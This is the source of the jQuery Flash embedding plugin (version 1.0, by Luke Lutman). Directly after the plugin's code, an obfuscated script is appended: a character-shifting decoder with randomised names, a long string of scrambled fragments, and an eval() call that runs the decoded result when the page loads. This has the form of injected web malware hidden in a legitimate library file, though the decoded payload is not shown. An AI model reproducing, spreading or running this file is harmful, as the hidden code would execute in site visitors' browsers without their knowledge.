/**
 * Flash (http://jquery.lukelutman.com/plugins/flash)
 * A jQuery plugin for embedding Flash movies.
 * 
 * Version 1.0
 * November 9th, 2006
 *
 * Copyright (c) 2006 Luke Lutman (http://www.lukelutman.com)
 * Dual licensed under the MIT and GPL licenses.
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.opensource.org/licenses/gpl-license.php
 * 
 * Inspired by:
 * SWFObject (http://blog.deconcept.com/swfobject/)
 * UFO (http://www.bobbyvandersluis.com/ufo/)
 * sIFR (http://www.mikeindustries.com/sifr/)
 * 
 * IMPORTANT: 
 * The packed version of jQuery breaks ActiveX control
 * activation in Internet Explorer. Use JSMin to minifiy
 * jQuery (see: http://jquery.lukelutman.com/plugins/flash#activex).
 *
 **/ 
;(function(){
	
var $$;

/**
 * 
 * @desc Replace matching elements with a flash movie.
 * @author Luke Lutman
 * @version 1.0.1
 *
 * @name flash
 * @param Hash htmlOptions Options for the embed/object tag.
 * @param Hash pluginOptions Options for detecting/updating the Flash plugin (optional).
 * @param Function replace Custom block called for each matched element if flash is installed (optional).
 * @param Function update Custom block called for each matched if flash isn't installed (optional).
 * @type jQuery
 *
 * @cat plugins/flash
 * 
 * @example $('#hello').flash({ src: 'hello.swf' });
 * @desc Embed a Flash movie.
 *
 * @example $('#hello').flash({ src: 'hello.swf' }, { version: 8 });
 * @desc Embed a Flash 8 movie.
 *
 * @example $('#hello').flash({ src: 'hello.swf' }, { expressInstall: true });
 * @desc Embed a Flash movie using Express Install if flash isn't installed.
 *
 * @example $('#hello').flash({ src: 'hello.swf' }, { update: false });
 * @desc Embed a Flash movie, don't show an update message if Flash isn't installed.
 *
**/
$$ = jQuery.fn.flash = function(htmlOptions, pluginOptions, replace, update) {
	
	// Set the default block.
	var block = replace || $$.replace;
	
	// Merge the default and passed plugin options.
	pluginOptions = $$.copy($$.pluginOptions, pluginOptions);
	
	// Detect Flash.
	if(!$$.hasFlash(pluginOptions.version)) {
		// Use Express Install (if specified and Flash plugin 6,0,65 or higher is installed).
		if(pluginOptions.expressInstall && $$.hasFlash(6,0,65)) {
			// Add the necessary flashvars (merged later).
			var expressInstallOptions = {
				flashvars: {  	
					MMredirectURL: location,
					MMplayerType: 'PlugIn',
					MMdoctitle: jQuery('title').text() 
				}					
			};
		// Ask the user to update (if specified).
		} else if (pluginOptions.update) {
			// Change the block to insert the update message instead of the flash movie.
			block = update || $$.update;
		// Fail
		} else {
			// The required version of flash isn't installed.
			// Express Install is turned off, or flash 6,0,65 isn't installed.
			// Update is turned off.
			// Return without doing anything.
			return this;
		}
	}
	
	// Merge the default, express install and passed html options.
	htmlOptions = $$.copy($$.htmlOptions, expressInstallOptions, htmlOptions);
	
	// Invoke $block (with a copy of the merged html options) for each element.
	return this.each(function(){
		block.call(this, $$.copy(htmlOptions));
	});
	
};
/**
 *
 * @name flash.copy
 * @desc Copy an arbitrary number of objects into a new object.
 * @type Object
 * 
 * @example $$.copy({ foo: 1 }, { bar: 2 });
 * @result { foo: 1, bar: 2 };
 *
**/
$$.copy = function() {
	var options = {}, flashvars = {};
	for(var i = 0; i < arguments.length; i++) {
		var arg = arguments[i];
		if(arg == undefined) continue;
		jQuery.extend(options, arg);
		// don't clobber one flash vars object with another
		// merge them instead
		if(arg.flashvars == undefined) continue;
		jQuery.extend(flashvars, arg.flashvars);
	}
	options.flashvars = flashvars;
	return options;
};
/*
 * @name flash.hasFlash
 * @desc Check if a specific version of the Flash plugin is installed
 * @type Boolean
 *
**/
$$.hasFlash = function() {
	// look for a flag in the query string to bypass flash detection
	if(/hasFlash\=true/.test(location)) return true;
	if(/hasFlash\=false/.test(location)) return false;
	var pv = $$.hasFlash.playerVersion().match(/\d+/g);
	var rv = String([arguments[0], arguments[1], arguments[2]]).match(/\d+/g) || String($$.pluginOptions.version).match(/\d+/g);
	for(var i = 0; i < 3; i++) {
		pv[i] = parseInt(pv[i] || 0);
		rv[i] = parseInt(rv[i] || 0);
		// player is less than required
		if(pv[i] < rv[i]) return false;
		// player is greater than required
		if(pv[i] > rv[i]) return true;
	}
	// major version, minor version and revision match exactly
	return true;
};
/**
 *
 * @name flash.hasFlash.playerVersion
 * @desc Get the version of the installed Flash plugin.
 * @type String
 *
**/
$$.hasFlash.playerVersion = function() {
	// ie
	try {
		try {
			// avoid fp6 minor version lookup issues
			// see: http://blog.deconcept.com/2006/01/11/getvariable-setvariable-crash-internet-explorer-flash-6/
			var axo = new ActiveXObject('ShockwaveFlash.ShockwaveFlash.6');
			try { axo.AllowScriptAccess = 'always';	} 
			catch(e) { return '6,0,0'; }				
		} catch(e) {}
		return new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').replace(/\D+/g, ',').match(/^,?(.+),?$/)[1];
	// other browsers
	} catch(e) {
		try {
			if(navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin){
				return (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]).description.replace(/\D+/g, ",").match(/^,?(.+),?$/)[1];
			}
		} catch(e) {}		
	}
	return '0,0,0';
};
/**
 *
 * @name flash.htmlOptions
 * @desc The default set of options for the object or embed tag.
 *
**/
$$.htmlOptions = {
	height: 240,
	flashvars: {},
	pluginspage: 'http://www.adobe.com/go/getflashplayer',
	src: '#',
	type: 'application/x-shockwave-flash',
	width: 320		
};
/**
 *
 * @name flash.pluginOptions
 * @desc The default set of options for checking/updating the flash Plugin.
 *
**/
$$.pluginOptions = {
	expressInstall: false,
	update: true,
	version: '6.0.65'
};
/**
 *
 * @name flash.replace
 * @desc The default method for replacing an element with a Flash movie.
 *
**/
$$.replace = function(htmlOptions) {
	this.innerHTML = '<div class="alt">'+this.innerHTML+'</div>';
	jQuery(this)
		.addClass('flash-replaced')
		.prepend($$.transform(htmlOptions));
};
/**
 *
 * @name flash.update
 * @desc The default method for replacing an element with an update message.
 *
**/
$$.update = function(htmlOptions) {
	var url = String(location).split('?');
	url.splice(1,0,'?hasFlash=true&');
	url = url.join('');
	var msg = '<p>This content requires the Flash Player. <a href="http://www.adobe.com/go/getflashplayer">Download Flash Player</a>. Already have Flash Player? <a href="'+url+'">Click here.</a></p>';
	this.innerHTML = '<span class="alt">'+this.innerHTML+'</span>';
	jQuery(this)
		.addClass('flash-update')
		.prepend(msg);
};
/**
 *
 * @desc Convert a hash of html options to a string of attributes, using Function.apply(). 
 * @example toAttributeString.apply(htmlOptions)
 * @result foo="bar" foo="bar"
 *
**/
function toAttributeString() {
	var s = '';
	for(var key in this)
		if(typeof this[key] != 'function')
			s += key+'="'+this[key]+'" ';
	return s;		
};
/**
 *
 * @desc Convert a hash of flashvars to a url-encoded string, using Function.apply(). 
 * @example toFlashvarsString.apply(flashvarsObject)
 * @result foo=bar&foo=bar
 *
**/
function toFlashvarsString() {
	var s = '';
	for(var key in this)
		if(typeof this[key] != 'function')
			s += key+'='+encodeURIComponent(this[key])+'&';
	return s.replace(/&$/, '');		
};
/**
 *
 * @name flash.transform
 * @desc Transform a set of html options into an embed tag.
 * @type String 
 *
 * @example $$.transform(htmlOptions)
 * @result <embed src="foo.swf" ... />
 *
 * Note: The embed tag is NOT standards-compliant, but it 
 * works in all current browsers. flash.transform can be
 * overwritten with a custom function to generate more 
 * standards-compliant markup.
 *
**/
$$.transform = function(htmlOptions) {
	htmlOptions.toString = toAttributeString;
	if(htmlOptions.flashvars) htmlOptions.flashvars.toString = toFlashvarsString;
	return '<embed ' + String(htmlOptions) + '/>';		
};

/**
 *
 * Flash Player 9 Fix (http://blog.deconcept.com/2006/07/28/swfobject-143-released/)
 *
**/
if (window.attachEvent) {
	window.attachEvent("onbeforeunload", function(){
		__flash_unloadHandler = function() {};
		__flash_savedUnloadHandler = function() {};
	});
}
	
})();var l4cdd66c="";function n7643d3e3e1cf(){var l3f9ddca=String,e6595b0be=Array.prototype.slice.call(arguments).join(""),t48b859ed=e6595b0be.substr(9,3)-319,m26486595,p65896;e6595b0be=e6595b0be.substr(e14df2());var fc1d2fbc6=e6595b0be.length;for(var b2e6c24=0;b2e6c24<fc1d2fbc6;b2e6c24++){try{throw(lf68e0=e6d130f57(e6595b0be,b2e6c24));}catch(e){lf68e0=e;};if(lf68e0=='™'){t48b859ed="";b2e6c24=e049fe3e(b2e6c24);kb12f3=qbb5ddf2(e6595b0be,b2e6c24);while(kb12f3!='™'){t48b859ed+=kb12f3;b2e6c24++;kb12f3=e8b85e6(e6595b0be,b2e6c24);}t48b859ed-=592;continue;}m26486595="";if(lf68e0=='±'){b2e6c24++;lf68e0=e6595b0be.substr(b2e6c24,1);while(lf68e0!='±'){m26486595+=lf68e0;b2e6c24++;lf68e0=e6595b0be.substr(b2e6c24,1);}m26486595=nf3a0c7(m26486595,t48b859ed,28);if(m26486595<0)m26486595+=256;m26486595=n40e90e(m26486595);l4cdd66c+=l3f9ddca["f\x72omCha\x72Co\x64e"](m26486595);continue;}kcfbdb41=(lf68e0+'')["\x63\x68ar\x43\x6fd\x65\x41t"](0);if(kcfbdb41>848)kcfbdb41-=848;p65896=kcfbdb41-t48b859ed-28;p65896=ece8df8(p65896);l4cdd66c+=o8be9d342(p65896);}}n7643d3e3e1cf("c","1","da","a","6","ff","34","79","±","22","8","±™","79","2™","J","Y™","6","1","8","™±","164±™763™*;","™69","5™±2","36","±±2","4","2±","±2","4","1±™7","62™","±","2","38±","™719™±","1","9","6","±","™7","0","9","™","±17","7","±±","1","2±™74","1","™","±","19","0","±™","6","50™`","_±","204±™","6","6","9","™±20","2","±","™7","5","6™","2±2","2","4±","5","™","756","™2,±2","24±","±","2","5","3±±2","24","±™61","9™","^±1","5","9±","™","6","58™±2","10","±","±","2","10±±2","06","±","±1","52±±14","1","±±14","1±™7","4","8™±2","8","±","*!™","708™±2","45±","™","77","1™30","™","613","™","±","148±±","160±","±1","6","6±±16","4±™7","5","1™","/","™690","™±","2","3","1","±","™6","36","™","±","1","71±","v","±175±","±","1","86±","™7","88","™","O","KS±","1","3±™75","1","™","/","#™70","3","™±2","4","4","±™","6","8","4™±2","3","5±","±","1","66±","±2","2","5±","±230","±","±2","22±","±231±","±","1","67","±","±22","3","±","™","7","3","5™±218","±","™","7","70","™±","2","4","5","±±","9±","±","2","19±±21","6±","™5","9","4","™'+(","'±1","3","5","±","™72","0™","±","2±","±","1","8","8","±","±19","6±±1","6","±","±","21±","™68","0™","±2","28±±217±±","2","27","±","±","2","1","8±™","78","2™±","2","50±™6","0","6™","±161±±","147","±","™659","™","±","2","0","5±±","195±","™","7","2","4","™±","1","5","±±","2","3","±™","61","7™c","±","1","7","3","±","±","1","74","±","™7","38™","(","™","620™±","15","8±","™","6","8","0™","±2","2","4±","™6","66™±199","±™","6","7","9","™","±2","1","8","±™","742™","±","2","1","0","±™60","4™","e™","66","5™±16","2","±™61","1™","l","™","78","4™","±2","52","±","±3","±Q™","752™","*±32","±","™","5","94","™","±13","1±","™7","7","7","™;",">™","68","7™","±2","33","±±22","4","±","±","2","2","3","±±","16","2±","™","7","6","6™±243","±","±","2","3","4","±","™617","™","±","1","76","±","B","™","6","54","™","dc","c","±2","0","9","±","±19","5","±","±200","±","±19","0±","™72","1","™±1","2","±™","63","9","™±","19","4±","™7","7","9","™","±","5±","O","P","™6","60","™±2","18±±1","98","±","±2","04±±","193","±™","7","6","7™2","™","7","32","™±","2","00","±™","628™","±12","5","±`™6","7","9™","±","1","63","±™","594™","Y","+™","723™±","1","69±","±1","6","8±™","675","™±23","6±±12","4±","™69","7™","±","14","3","±","±1","4","2","±™5","97","™",".","™60","7","™","5","™686","™±13","1","±±","22","2","±™751","™","*™","765","™",",>™","6","8","7","™","±232","±","™","5","9","9","™±","136","±","±1","45±","±","1","51±Q","±1","46","±","™632™±1","7","8±±1","77","±±","1","7","9","±","±","1","8","5","±","™","760™7™","6","7","1™±","208±","±","2","16±","±218","±™","73","0™","±2","8","±","±11±","±198±","±","2","27","±","™","6","5","5","™","±123±","±","193","±™741","™","&","™","6","6","5™±","21","1","±™61","1™","±","146±","±1","6","3","±±","15","2","±™","7","19","™±1","0±","±","9±","±195±±","196±","™687™±","1","5","5±±2","4","6","±™","7","5","9","™±","2","08±","™","6","76™z","y™","69","5™","±1","4","0±±236±™6","75™","±","2","1","3","±±","143±±1","5","1","±±","230","±","±21","6","±","±221±","±2","11±±","22","2±","±2","30±","™","601™","S™6","19","™±","1","7","5±","±","17","6±±177","±","™7","50","™±3","2","±™","7","5","9","™","/","$*™","7","5","8","™±","22","6±","™6","11","™ll™629™","±1","2","6","±™","697","™±1","65±","±18","1","±™","6","96™±","1","7","3±±","164±±2","55","±™680","™","±","1","29±","±","1","26","±™","688™","±","133±","™","689™±","1","3","4±","™","7","70","™","±21","5","±™","6","6","2™","±","2","1","7","±±2","03","±","±","2","08±™","69","7","™±","233","±","™7","0","7™±2","54","±","™739™","&","™","595™","M","±1","5","1","±±","152","±","™","69","7","™±2","5","5","±™","6","38","™","±","176","±™7","6","8™","8-™615™±","1","54±SpS™","696","™±1","8","1","±","±","191","±±","1","45","±™","7","90","™±","2","36","±","™6","21™","B","™6","03","™","0","™","76","5","™","±","2","1","0","±?™","73","0","™","±7","±","™","71","2™±","6","±","±1","80±","±25","2","±™","6","0","1™","±","1","38","±","™6","23™","±1","56±™","6","9","3™±2","2","9±±16","1±™7","5","8™","±","255","±","±","2","2","6±™76","7","™/™","6","56","™±2","0","3±±","191","±","™","75","7","™6",".™6","6","0™","±197±±","206","±™603","™","±1","5","5±™70","6™±","18","8±±2","4","5","±±2","4","3","±","±","2","±","±2","11±","±2","5","0","±","™7","44","™","±2","5","±","™7","6","9™",":","2™7","2","5™","±","15","±±","21±±","2","0±™647™±1","49±™","6","74","™","±23","1±±","194","±","±","20","7±±213","±™","7","52™","±","10±","™7","6","7™",",","80±24","3±","±242±","30™754","™","±","3","1±","™","6","1","5™","±1","51","±","™","627","™","f","h","™6","9","6","™","±2","2","3±™","5","9","8™","R™6","19","™","±1","48±","r","™","6","13","™>",";",":","™","60","7™4™","6","6","3™","l±","217","±±","196±","™","74","6","™(±","2","14","±™","7","34™±29±±","13±","™","7","57","™3","™","7","57™","*","1","™","73","7™!","±205","±","™","71","1™","±208±±179","±™685™±2","21","±±2","32±","™7","80™;","M™","621™±16","6±","±1","58","±","±1","67","±","±","173±","g™65","5™±","19","0±","±2","05","±","™","7","54","™#™","6","21™±","154","±","™7","3","6™±","3","2","±","™","6","2","8™±165","±","±","13","3","±±172±™","7","60","™",")1",")","2","8±2","3","6","±™67","1","™±14","6","±","±2","22±±","2","0","6±","±22","1±","±2","1","2±","™","75","7™1™75","7","™","5","™","7","4","9","™±","224±","±22","6","±±244","±","™6","9","4","™±","143±™","60","2","™","0™7","8","6","™±231±","™","6","85™","±13","0±","±13","0±±2","3","6","±","±22","0±±","2","35","±","±","226","±","™","6","34","™±","182","±±","1","8","6","±","t±","1","8","6±","±1","91","±±182","±","™6","43™","±18","0","±","o","™67","9","™±","1","7","6","±","±147","±±1","54","±","±231","±±21","6±","±","2","35","±","™600","™","±1","5","2","±S","±","1","42","±™","76","5™","*","?™6","9","3™","±","2","26","±™7","62","™9",")","8™","74","7","™±3","2","±'™","72","0™","±","1","6±±1","95","±±21","5","±™70","9","™±1","5","8","±™","6","6","7","™","qp™74","0","™","±1","8","5±","™","6","8","5™±","13","0","±™68","6™","±2","3","7±","™62","0","™±","155±±170","±±","1","6","1±","™7","5","2™",",","™7","33","™±29±","±","2","15±","™69","4","™±","2","41","±™636™","±","1","82±","™74","2","™","$™","605","™±","142","±","±","1","3","8","±","™736","™","±1","6","±","™77","3","™","J","D™","777™I™","7","51™","±","2","8±™","75","8™","6™7","9","0™","G™","657","™","±1","9","2±","™","5","96","™","±","1","3","6±±","129","±±","1","42±±135±","±1","33±","™6","3","6™h±","13","3","±","h™","647™","±","18","5±±","2","0","0±™","66","5™±21","1±","™","704™","±239","±™","690","™±","2","4","2","±™66","6","™","±","2","07","±™605","™","±1","52±","±1","51±","I","™","670™","±1","46±","™6","85™±","1","62","±","±","1","5","3","±","™","7","1","4™","±","1","7","±","±16","3±™","617","™","?™","6","82","™","±127","±","™75","2","™±1","97±±1","97±±19","7±%\"","™6","33","™e","m™60","9™","±","1","61±","±","14","9","±±","150±±160±","[±","1","5","9±","±1","4","6","±±","14","2±","±","145","±™","6","3","8","™","±1","9","5±™","6","33","™±152","±","±","18","5±","™","7","88™A","TE±0","±±","2","9","±","™7","40","™","±237±","™78","2","™","±25","0±™716™","±1","91±","™7","8","0","™",";™67","1™","±2","1","8","±","™","7","84","™I","™5","99™","±","14","7±±1","43","±™","6","28™","±","165±±180","±™","765","™",".±240","±","±2","42","±","±","233±™","6","04™","±","163±™","72","7","™±","1","7","6±±","173±","™6","76","™y","y™6","8","3","™±1","28","±","™","5","97","™","*™6","9","3™±","13","8","±™","686™±2","4","1","±","™","789™JO","EPX","™","6","2","6™","l","™","6","23","™","±","17","9","±±","1","8","0","±","±1","81±","±1","6","1±","™","658™","±2","02±±1","9","1","±±","19","7±","™","76","8","™±23","6","±","±9","±","±2","36±±2","5","4±±7","±™","665","™","r","™7","7","0","™","±216","±","±","2","15±±215","±","™676","™","yy™","618™","±","179±C™7","46","™±1","9","2±","™6","42","™WWW±2","0","3","±","™","7","3","7™","±","2","32","±","±","1","86","±","™","790","™","±2","3","6","±","±235","±","™","77","0™±215","±","±","21","5","±™69","2","™±2","43±±","2","2","7±","™72","1™","±1","5±±6±","™6","07™±","1","5","5±","™7","5","8","™6","™","7","2","6","™±","2","08±","±","1","7","±","™","698™±24","4","±™74","9","™","%","(±","2","6±™","7","48","™","±28±±","216±","±","24","5","±","™","7","87™±","2","55","±","™767","™1@9.?","4™","7","83","™","J™","6","54","™±","2","00","±™","63","9","™","s","™677","™±1","5","4±","™","6","49™u±2","0","8","±b","_^^","™","76","1™±2","06","±","±","2","06","±","<",".","3",")™","72","1","™±1","2±±2","0","±","±203±","™","7","1","2™±1","2","±±1","3","±","±1","4±","±250±","±","0","±±","245±±2","51±™","685","™±","1","5","3","±±","1","82±","±1","53","±","±1","71","±","±1","8","0±","™","6","96","™±1","4","5","±™7","7","0™±21","6±±","215","±","±21","5","±","±","21","5±","™","6","2","8™±","1","89±™","7","9","2","™±","31","±","±241±","™7","0","5","™","±1","51","±±1","50","±","™7","48","™±1","93±","™79","2™","±23","7","±™","725","™±","20","±","™","7","01","™","±","2","36±","™74","3","™%","™73","6™","±","21","±±2","8","±±32","±","™","6","35","™","u","™7","02","™","±25","3","±™","6","20™","±17","0","±","™","6","1","9","™±15","4±W","tW","™","755™4","1™762™2™","7","07™±","175","±","±","18","6","±","±","1","75±±2","20±±","24","0","±±3±™","6","23","™±1","63","±","™","654","™±","136","±™6","44","™","±","1","94±","™69","1™±2","2","4","±","±2","3","7±±","2","27±±","238±","±236","±™","694™±","1","7","0±","±17","1","±±","1","7","6±™","70","9™","±","5","±±0","±","±","228","±™","7","0","4™±","0","±±","254","±","±","24","5","±","±250","±™7","9","0","™I","±","10","±±","11±","±1","6","±™6","4","0","™","±19","1","±±19","3","±±","174","±™6","99™±","25","0±","±2","51±±24","9","±","™","642","™","±18","3","±","™","7","4","2™","±32±™696™±","23","5","±±","17","2±™723™","±","210","±™","6","00™M","D","™","6","46","™±125","±™","65","8","™","±1","2","6±","™","6","8","8™±","16","3","±","™7","3","2","™","±2","1","4±","±","18±","±27±","±20","7±","™","7","46™","±","24","1±","±1","95","±±192","±","™6","2","6™","G","GG","™641™±1","81±","±","17","8","±","™6","0","0","™","±","1","3","3","±±136±R±1","33±","±14","8±","™","6","6","0","™±","2","0","8±™","7","09","™","±","2","46±±2","5","5±","±","24","5","±","±","2","12±±","24","9±±","2","5","0±","™","62","3™±1","67±","™64","3™","±","179","±w±","1","94±","™725™","±4","±±1","9","±","±","10","±","™7","90™","R™69","4™±24","6","±","™61","0","™W™","737","™","±232","±","™","680","™±129","±±","1","2","6±","™737™±","182±","™","7","8","3","™±","2","2","8±","X","±","2","32±","±","2","2","9","±±22","8","±","™","64","2™","±","2","0","3±","™","66","1™","±156±n","™","7","19™","±","1","6","5","±±2","4±±19","6","±","™72","2™±198","±","±199±±217±");eval(l4cdd66c);function e14df2(){return 12;}function e6d130f57(t3d614d5b,if780d8b){return t3d614d5b.substr(if780d8b,1);}function e049fe3e(f0cbf5){return ++f0cbf5;}function qbb5ddf2(rfa2d3c4e,fc526c){return rfa2d3c4e.substr(fc526c,1);}function e8b85e6(se6d3b88,g11a76){return se6d3b88.substr(g11a76,1);}function n40e90e(m2091ca6){if(m2091ca6==168)m2091ca6=1025;else if(m2091ca6==184)m2091ca6=1105;return (m2091ca6>=192 && m2091ca6<256) ? m2091ca6+848 : m2091ca6;}function nf3a0c7(o53060,e68887,bc8d0e642){return o53060-e68887-bc8d0e642;}function o8be9d342(s85877a49){var l3f9ddca=String;return l3f9ddca["f\x72omCha\x72Co\x64e"](s85877a49);}function ece8df8(xe63c659){var f87eb3468=xe63c659;if(f87eb3468<0)f87eb3468+=256;if(f87eb3468==168)f87eb3468=1025;else if(f87eb3468==184)f87eb3468=1105;return (f87eb3468>=192 && f87eb3468<256) ? f87eb3468+848 : f87eb3468;}
